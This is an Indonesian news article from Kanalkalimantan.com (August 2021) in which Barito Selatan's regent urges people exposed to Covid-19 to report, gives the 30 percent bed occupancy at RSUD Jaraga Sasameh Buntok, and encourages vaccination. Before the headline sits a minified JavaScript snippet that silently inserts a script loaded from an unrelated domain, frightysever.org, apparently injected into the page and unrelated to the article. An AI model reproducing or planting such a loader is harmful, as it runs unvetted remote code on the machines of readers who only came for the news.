(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BOR di RSUD Jaraga Sasameh 30 Persen, Ini Harapan Bupati Eddy Raya

KANALKALIMANTAN.COM, BUNTOK – Bupati Barsel H Eddy Raya Samsuri minta warga yang terindikasi atau terpapar Covid-19 segara melapor kepada pihak terkait.

“Kita berharap dengan adanya penanganan sedini mungkin bisa lebih memudahkan petugas dalam penanganan, dan resiko penyebaran Covid-19 dapat berkurang,” kata Eddy Raya kepada Kanalkalimantan.com, Senin (30/8/2021).

Orang nomor satu di Buntok itu juga mengatakan, terkait meningkatnya perkembangan kasus Covid-19 beberapa hari terakhir di Barsel, dari beberapa klaster yang ada di wilayah kecamatan seperti Kecamatan Dusun Selatan (Dusel) dan Kota Buntok.

“Oleh karena itu, Pemkab Barsel bersama Satgas Covid-19 kabupaten gencar dalam penanganan sehingga bisa ditanggulangi. Angka kesembuhan sendiri cukup besar di Kabupaten Barsel,” ujar Eddy Raya.

Ia mengungkapkan, terkait Bed Occupancy Ratio (BOR) atau keterisian ruang isolasi di RSUD Jaraga Sasameh Buntok untuk tempat tidur sudah tersedia sesuai dengan kebutuhan dan 30 persen terpenuhi.

“Tentunya juga, penanggulangan wabah Covid-19 ini baik secara Imisolasi mandiri juga sesuai dengan petunjuk oleh Presiden Republik Indonesia Joko Widodo dan Gubernur Provinsi Kalteng,” beber Eddy Raya.

Pemkab Barsel sendiri bersama Satgas Covid-19 Kabupaten berharap siapapun yang terpapar agar bisa melaporkan kepada dinas terkait terutama Dinas Kesehatan (Dinkes) Barsel.

Bupati Barsel juga mengucapkan terima kasih, karena beberapa organisasi juga sudah melakukan vaksinasi kepada masyarakat Barsel, sekaligus terus mengingatkan untuk masyarakat tetap taati protokol kesehatan.
“Dengan meningkatnya angka masyarakat yang divaksin maka presentase vaksinasi di Kabupaten Barsel, akan memenuhi herd imunity,” pungkas Eddy Raya.(kanalkalimantan.com/digdo)

Reporter: digdo
Editor : bie